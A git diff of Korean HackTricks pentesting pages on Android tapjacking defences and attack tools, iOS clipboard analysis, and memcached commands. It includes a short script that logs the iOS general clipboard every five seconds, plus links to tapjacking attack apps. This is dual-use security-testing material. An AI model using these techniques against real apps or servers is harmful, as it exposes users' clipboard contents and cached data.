[**이 소스에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/), 안드로이드 12(API 31 및 30) 이상에서는 안드로이드가 탭재킹 공격을 자동으로 방지합니다. 따라서 취약한 애플리케이션이 있더라도 **해당 취약점을 악용할 수 없습니다**.
|
||||
[**이 소스에 따르면**](https://www.geeksforgeeks.org/tapjacking-in-android/)**,** 안드로이드 12(API 31 및 30) 이상에서는 안드로이드가 탭재킹 공격을 자동으로 방지합니다. 따라서 취약한 애플리케이션이라도 **악용할 수 없습니다**.
|
||||
|
||||
#### `filterTouchesWhenObscured`
|
||||
|
||||
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되어 있으면, `View`는 다른 가시 창에 의해 가려질 때 터치를 받지 않습니다.
|
||||
**`android:filterTouchesWhenObscured`**가 **`true`**로 설정되어 있으면 다른 가시적 창에 의해 뷰의 창이 가려질 때 터치를 받지 않습니다.
|
||||
|
||||
#### **`setFilterTouchesWhenObscured`**
|
||||
|
||||
`setFilterTouchesWhenObscured` 속성이 **`true`**로 설정되어 있으면 안드로이드 버전이 낮을 경우에도 이 취약점을 방지할 수 있습니다.\
|
||||
Android 버전이 낮은 경우 이 취약점을 방지하기 위해 **`setFilterTouchesWhenObscured`** 속성을 **`true`**로 설정할 수 있습니다.\
|
||||
예를 들어, 버튼이 가려지면 자동으로 **비활성화**될 수 있습니다.
|
||||
```xml
|
||||
<Button android:text="Button"
|
||||
|
@ -53,28 +53,42 @@ android:filterTouchesWhenObscured="true">
|
|||
|
||||
### Tapjacking-ExportedActivity
|
||||
|
||||
가장 최근의 안드로이드 애플리케이션에서 Tapjacking 공격을 수행하는 방법은 공격 대상 애플리케이션의 내보낸 활동 앞에서 호출하는 것입니다. 해당 방법은 [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity)에서 찾을 수 있습니다.
|
||||
가장 최근의 **Android 애플리케이션**은 Tapjacking 공격을 수행하며 (+ 공격 대상 애플리케이션의 내보낸 활동 앞에서 호출) 다음에서 찾을 수 있습니다: [**https://github.com/carlospolop/Tapjacking-ExportedActivity**](https://github.com/carlospolop/Tapjacking-ExportedActivity).
|
||||
|
||||
사용 방법은 **README 지침을 따르세요**.
|
||||
|
||||
### FloatingWindowApp
|
||||
|
||||
다른 활동 위에 놓여 클릭잭킹 공격을 수행하기 위해 사용할 수 있는 FloatingWindowApp을 구현한 예제 프로젝트는 [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)에서 찾을 수 있습니다 (약간 오래되었으며 apk를 빌드하는 데 행운을 빕니다).
|
||||
다른 활동 위에 놓여 클릭잭킹 공격을 수행하기 위해 사용할 수 있는 **FloatingWindowApp**을 구현한 예제 프로젝트는 [**FloatingWindowApp**](https://github.com/aminography/FloatingWindowApp)에서 찾을 수 있습니다 (약간 오래되었지만 apk를 빌드하는 데 행운을 빕니다).
|
||||
|
||||
### Qark
|
||||
|
||||
{% hint style="danger" %}
|
||||
이 프로젝트는 더 이상 유지되지 않고 이 기능이 제대로 작동하지 않는 것으로 보입니다.
|
||||
이 프로젝트는 현재 유지되지 않고 이 기능이 더 이상 제대로 작동하지 않는 것으로 보입니다.
|
||||
{% endhint %}
|
||||
|
||||
가능한 **Tapjacking** 취약점을 테스트하기 위해 악의적인 애플리케이션을 생성하는 데 `--exploit-apk` --sdk-path `/Users/username/Library/Android/sdk` 매개변수와 함께 [**qark**](https://github.com/linkedin/qark)를 사용할 수 있습니다.
|
||||
|
||||
해결책은 상대적으로 간단합니다. 개발자는 다른 뷰에 의해 가려질 때 터치 이벤트를 받지 않도록 선택할 수 있습니다. [Android Developer’s Reference](https://developer.android.com/reference/android/view/View#security)를 사용하세요:
|
||||
개발자는 다른 뷰에 의해 가려질 때 터치 이벤트를 받지 않도록 선택할 수 있기 때문에 방지는 비교적 간단합니다. [Android 개발자 참조](https://developer.android.com/reference/android/view/View#security)를 사용합니다:
|
||||
|
||||
> 때로는 사용자의 전체 동의와 인지를 통해 작업이 수행되고 있는지를 애플리케이션이 확인할 수 있어야 하는 경우가 있습니다. 예를 들어 권한 요청을 승인하거나 구매를 하거나 광고를 클릭하는 경우입니다. 불행히도 악성 애플리케이션이 의도된 뷰의 목적을 숨겨 사용자를 속여 이러한 작업을 수행하려고 할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 액세스하는 뷰의 보안을 개선할 수 있는 터치 필터링 메커니즘을 제공합니다.
|
||||
> 때로는 사용자의 전체 동의와 인지 하에 작업이 수행되고 있는지를 애플리케이션이 확인할 수 있어야 하는 경우가 있습니다. 예를 들어 권한 요청을 수락하거나 구매를 하거나 광고를 클릭하는 경우입니다. 불행히도 악성 애플리케이션이 의도된 뷰의 목적을 숨겨 사용자를 속여 이러한 작업을 수행하도록 시도할 수 있습니다. 이를 해결하기 위해 프레임워크는 민감한 기능에 액세스하는 뷰의 보안을 향상시킬 수 있는 터치 필터링 메커니즘을 제공합니다.
|
||||
>
|
||||
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)을 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정하세요. 활성화되면 프레임워크는 뷰의 창이 다른 가시적 창에 의해 가려질 때 수신된 터치를 버립니다. 결과적으로 뷰는 토스트, 대화 상자 또는 다른 창이 뷰의 창 위에 나타날 때 터치를 받지 않습니다.
|
||||
> 터치 필터링을 활성화하려면 [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29)을 호출하거나 android:filterTouchesWhenObscured 레이아웃 속성을 true로 설정하십시오. 활성화되면 프레임워크는 뷰의 창이 다른 가시적 창에 의해 가려질 때 수신된 터치를 폐기합니다. 결과적으로 뷰는 토스트, 대화 상자 또는 다른 창이 뷰의 창 위에 나타날 때 터치를 받지 않습니다.
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 전문가로 배우세요</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션인 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,40 +1,39 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [telegram 그룹](https://t.me/peass)에 **가입**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
iOS 기기에서 애플리케이션 간 및 내에서 데이터 공유는 [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard) 메커니즘을 통해 이루어지며, 이는 다음 두 가지 주요 범주로 나뉩니다:
|
||||
|
||||
- **시스템 전역 클립보드**: 이는 **모든 애플리케이션**과 데이터를 공유하기 위해 사용되며, iOS 10부터 제공되는 기능으로 데이터를 장치 재부팅 및 앱 삭제를 통해 유지할 수 있도록 설계되었습니다.
|
||||
- **사용자 정의 / 이름 지정된 클립보드**: 이는 **앱 내 또는 동일한 팀 ID를 공유하는 다른 앱과 데이터를 공유**하기 위해 특별히 설계되었으며, iOS 10에서 소개된 변경 사항에 따라 생성한 애플리케이션 프로세스의 수명을 넘어서 지속되지 않도록 설계되었습니다.
|
||||
- **시스템 전역 클립보드**: **모든 애플리케이션과 데이터를 공유**하기 위해 사용되며, iOS 10부터 제공되는 기능으로 데이터를 장치 재부팅 및 앱 삭제 후에도 유지할 수 있도록 설계되었습니다.
|
||||
- **사용자 지정 / 이름 지정된 클립보드**: **앱 내 또는 동일한 팀 ID를 공유하는 다른 앱과 데이터를 공유**하기 위해 특별히 설계되었으며, iOS 10에서 소개된 변경 사항에 따라 생성한 애플리케이션 프로세스의 수명을 넘어서 지속되지 않도록 설계되었습니다.
|
||||
|
||||
**보안 고려 사항**은 클립보드를 활용할 때 중요한 역할을 합니다. 예를 들어:
|
||||
- 사용자가 **클립보드에 액세스하는 앱 권한을 관리할 수 있는 메커니즘이 없습니다**.
|
||||
- 클립보드의 무단 백그라운드 모니터링 위험을 완화하기 위해 애플리케이션이 포그라운드에 있을 때만 액세스가 제한됩니다(iOS 9부터).
|
||||
- 사용자가 **클립보드에 액세스하는 앱 권한을 관리하는 메커니즘**이 없습니다.
|
||||
- 클립보드의 무단 백그라운드 모니터링 위험을 완화하기 위해, 애플리케이션이 포그라운드에 있을 때만 액세스가 제한됩니다(iOS 9부터).
|
||||
- 개인 정보 보호 문제로 인해 지속적인 이름이 지정된 클립보드 사용이 권장되지 않습니다.
|
||||
- iOS 10에서 소개된 **Universal Clipboard** 기능은 일반 클립보드를 통해 장치 간에 콘텐츠를 공유할 수 있도록 하며, 개발자가 데이터 만료 및 자동 콘텐츠 전송 비활성화를 설정할 수 있습니다.
|
||||
- iOS 10에서 소개된 **Universal Clipboard** 기능은 개발자가 데이터 만료 및 자동 콘텐츠 전송 비활성화를 설정할 수 있도록 관리할 수 있습니다.
|
||||
|
||||
**민감한 정보가 실수로 저장되지 않도록**하는 것이 중요합니다. 또한 애플리케이션은 글로벌 클립보드에 민감한 정보를 복사하는 것을 방지하기 위한 조치를 구현해야 하며, 개발자는 클립보드로 민감한 정보를 복사하는 것을 방지하기 위한 조치를 취할 것을 권장합니다.
|
||||
**민감한 정보가 실수로 저장되지 않도록** 시스템 전역 클립보드에 주의를 기울이는 것이 중요합니다. 또한 애플리케이션은 시스템 전역 클립보드 데이터가 의도하지 않은 작업에 사용되는 것을 방지하도록 설계되어야 하며, 개발자는 민감한 정보가 클립보드로 복사되는 것을 방지하기 위한 조치를 구현할 것을 권장합니다.
|
||||
|
||||
### 정적 분석
|
||||
|
||||
정적 분석을 위해 소스 코드 또는 이진 파일에서 다음을 검색하세요:
|
||||
- 시스템 전역 클립보드 사용을 식별하기 위해 `generalPasteboard`를 검색합니다.
|
||||
- **사용자 정의 클립보드**를 생성하기 위해 `pasteboardWithName:create:` 및 `pasteboardWithUniqueName`을 검색합니다. 지속성이 활성화되어 있는지 확인하세요(이는 더 이상 사용되지 않음).
|
||||
- **시스템 전역 클립보드** 사용을 식별하기 위해 `generalPasteboard`를 검색합니다.
|
||||
- **사용자 지정 클립보드**를 생성하기 위해 `pasteboardWithName:create:` 및 `pasteboardWithUniqueName`을 검색합니다. 지속성이 활성화되어 있는지 확인하십시오(이는 폐기된 기능입니다).
|
||||
|
||||
### 동적 분석
|
||||
|
||||
|
@ -44,13 +43,13 @@ iOS 기기에서 애플리케이션 간 및 내에서 데이터 공유는 [`UIPa
|
|||
- 지속성 설정을 확인하기 위해 폐기된 `setPersistent:` 메서드 호출을 관찰합니다.
|
||||
|
||||
모니터링해야 할 주요 세부 정보는 다음과 같습니다:
|
||||
- **클립보드 이름** 및 **콘텐츠**(예: 문자열, URL, 이미지 확인).
|
||||
- 존재하는 **항목 수** 및 **데이터 유형**을 확인하기 위해 표준 및 사용자 정의 데이터 유형 확인을 활용합니다.
|
||||
- `setItems:options:` 메서드를 검사하여 **만료 및 로컬 전용 옵션**을 확인합니다.
|
||||
- **클립보드 이름** 및 **콘텐츠** (예: 문자열, URL, 이미지 확인).
|
||||
- 표준 및 사용자 지정 데이터 유형 확인을 활용하여 존재하는 **항목 수** 및 **데이터 유형**.
|
||||
- `setItems:options:` 메서드를 검사하여 **만료 및 로컬 전용 옵션** 확인.
|
||||
|
||||
**objection의 클립보드 모니터**를 사용한 모니터링 도구 사용 예시는 일반 클립보드를 5초마다 모니터링하여 새 데이터를 출력합니다.
|
||||
**objection의 클립보드 모니터**를 사용한 모니터링 도구 사용 예는 시스템 전역 클립보드를 5초마다 변경 사항을 확인하고 새 데이터를 출력하는 것입니다.
|
||||
|
||||
다음은 objection의 방법을 영감받은 간단한 JavaScript 스크립트 예시입니다. 5초마다 클립보드에서 변경 사항을 읽고 기록합니다:
|
||||
다음은 objection의 방법을 영감받은 간단한 JavaScript 스크립트 예제로, 5초마다 클립보드에서 변경 사항을 읽고 기록하는 것입니다:
|
||||
```javascript
|
||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||
|
@ -80,7 +79,7 @@ console.log(items);
|
|||
* [https://hackmd.io/@robihamanto/owasp-robi](https://hackmd.io/@robihamanto/owasp-robi)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0073/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -92,9 +91,9 @@ console.log(items);
|
|||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유하세요.**
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,19 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!</summary>
|
||||
|
||||
다른 HackTricks 지원 방법:
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
- **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
- **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소로 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
@ -24,32 +24,32 @@
|
|||
|
||||
지원되는 명령어(공식 및 비공식)는 [doc/protocol.txt](https://github.com/memcached/memcached/blob/master/doc/protocol.txt) 문서에 문서화되어 있습니다.
|
||||
|
||||
안타깝게도 구문 설명이 실제로 명확하지 않으며 기존 명령어를 나열하는 간단한 도움말 명령어가 훨씬 나을 것입니다. 여기에는 [소스](https://github.com/memcached/memcached)에서 찾을 수 있는 명령어 개요가 있습니다(2016년 8월 19일 기준):
|
||||
안타깝게도 구문 설명이 실제로 명확하지 않으며 기존 명령어를 나열하는 간단한 도움말 명령이 훨씬 나을 것입니다. 다음은 [소스](https://github.com/memcached/memcached)에서 찾을 수 있는 명령어 개요입니다(2016년 8월 19일 기준):
|
||||
|
||||
| 명령어 | 설명 | 예시 |
|
||||
| --------------------- | ------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| get | 값을 읽음 | `get mykey` |
|
||||
| set | 키를 무조건 설정 | <p><code>set mykey <flags> <ttl> <size</code><br><br><p>Unix CLI 도구를 사용할 때 \r\n을 줄 바꿈으로 사용해야 합니다. 예를 들어</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | 새 키 추가 | `add newkey 0 60 5` |
|
||||
| replace | 기존 키 덮어씀 | `replace key 0 60 5` |
|
||||
| append | 기존 키에 데이터 추가 | `append key 0 60 15` |
|
||||
| prepend | 기존 키에 데이터 앞에 추가 | `prepend key 0 60 15` |
|
||||
| incr | 숫자 키 값을 주어진 숫자만큼 증가 | `incr mykey 2` |
|
||||
| decr | 숫자 키 값을 주어진 숫자만큼 감소 | `decr mykey 5` |
|
||||
| delete | 기존 키 삭제 | `delete mykey` |
|
||||
| flush\_all | 모든 항목 즉시 무효화 | `flush_all` |
|
||||
| flush\_all | n 초 후 모든 항목 무효화 | `flush_all 900` |
|
||||
| stats | 일반 통계 출력 | `stats` |
|
||||
| | 메모리 통계 출력 | `stats slabs` |
|
||||
| | 더 높은 수준의 할당 통계 출력 | `stats malloc` |
|
||||
| | 항목에 대한 정보 출력 | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | 통계 카운터 재설정 | `stats reset` |
|
||||
| lru\_crawler metadump | 캐시의 모든 항목(대부분)에 대한 메타데이터 덤프 | `lru_crawler metadump all` |
|
||||
| version | 서버 버전 출력 | `version` |
|
||||
| verbosity | 로그 레벨 증가 | `verbosity` |
|
||||
| quit | 세션 종료 | `quit` |
|
||||
| get | 값을 읽음 | `get mykey` |
|
||||
| set | 키를 무조건 설정 | <p><code>set mykey <flags> <ttl> <size</code><br><br><p>Unix CLI 도구를 사용할 때 \r\n을 줄 바꿈으로 사용해야 함. 예를 들어</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | 새 키 추가 | `add newkey 0 60 5` |
|
||||
| replace | 기존 키 덮어씀 | `replace key 0 60 5` |
|
||||
| append | 기존 키에 데이터 추가 | `append key 0 60 15` |
|
||||
| prepend | 기존 키에 데이터 앞에 추가 | `prepend key 0 60 15` |
|
||||
| incr | 숫자 키 값을 주어진 숫자만큼 증가 | `incr mykey 2` |
|
||||
| decr | 숫자 키 값을 주어진 숫자만큼 감소 | `decr mykey 5` |
|
||||
| delete | 기존 키 삭제 | `delete mykey` |
|
||||
| flush\_all | 모든 항목 즉시 무효화 | `flush_all` |
|
||||
| flush\_all | n 초 후 모든 항목 무효화 | `flush_all 900` |
|
||||
| stats | 일반 통계 출력 | `stats` |
|
||||
| | 메모리 통계 출력 | `stats slabs` |
|
||||
| | 더 높은 수준의 할당 통계 출력 | `stats malloc` |
|
||||
| | 항목에 대한 정보 출력 | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | 통계 카운터 재설정 | `stats reset` |
|
||||
| lru\_crawler metadump | 캐시의 모든 항목(대부분)에 대한 메타데이터 덤프 | `lru_crawler metadump all` |
|
||||
| version | 서버 버전 출력 | `version` |
|
||||
| verbosity | 로그 레벨 증가 | `verbosity` |
|
||||
| quit | 세션 종료 | `quit` |
|
||||
|
||||
#### 트래픽 통계 <a href="#traffic-statistics" id="traffic-statistics"></a>
|
||||
|
||||
|
@ -57,7 +57,7 @@
|
|||
```
|
||||
stats
|
||||
```
|
||||
다음은 연결 수, 전송된 바이트 수 등을 제공하는 목록을 받게 됩니다.
|
||||
다음은 연결 수, 전송 바이트 수 등을 제공하는 목록을 받게 됩니다.
|
||||
|
||||
예시 출력:
|
||||
```
|
||||
|
@ -116,17 +116,13 @@ END
|
|||
|
||||
#### 어떤 키가 사용되고 있는가? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
|
||||
현재 키 집합을 직접 확인하는 내장 함수는 없습니다. 그러나 다음을 사용할 수 있습니다.
|
||||
현재 키 집합을 직접 확인하는 내장 함수는 없습니다. 그러나 가능한 방법으로는
|
||||
```
|
||||
stats items
|
||||
```
|
||||
### 명령어: keys
|
||||
**Command to determine how many keys do exist:**
|
||||
|
||||
특정 Memcached 서버에 저장된 모든 키의 수를 확인하려면 다음 명령어를 사용하십시오:
|
||||
|
||||
```plaintext
|
||||
stats items
|
||||
```
|
||||
To determine how many keys exist in a Memcache server, you can use the `stats items` command. This command will provide you with a list of items stored in the cache along with their corresponding IDs and other information.
|
||||
```
|
||||
stats items
|
||||
STAT items:1:number 220
|
||||
|
@ -139,20 +135,20 @@ END
|
|||
이것은 적어도 어떤 키가 사용되는지 확인하는 데 도움이 됩니다. 이미 memcache 액세스를 수행하는 PHP 스크립트에서 키 이름을 덤프하려면 [100days.de](http://100days.de/serendipity/archives/55-Dumping-MemcacheD-Content-Keys-with-PHP.html)의 PHP 코드를 사용할 수 있습니다.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
||||
<summary><strong>제로부터 AWS 해킹을 전문가로 학습하세요</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우하세요.**
|
||||
* **HackTricks 및 HackTricks Cloud** 깃허브 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,24 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>에서 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사 광고**를 올리고 싶으신가요? 혹은 **PEASS의 최신 버전을 다운로드하거나 PDF로 HackTricks를 받고 싶으신가요**? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f)이나 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으세요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
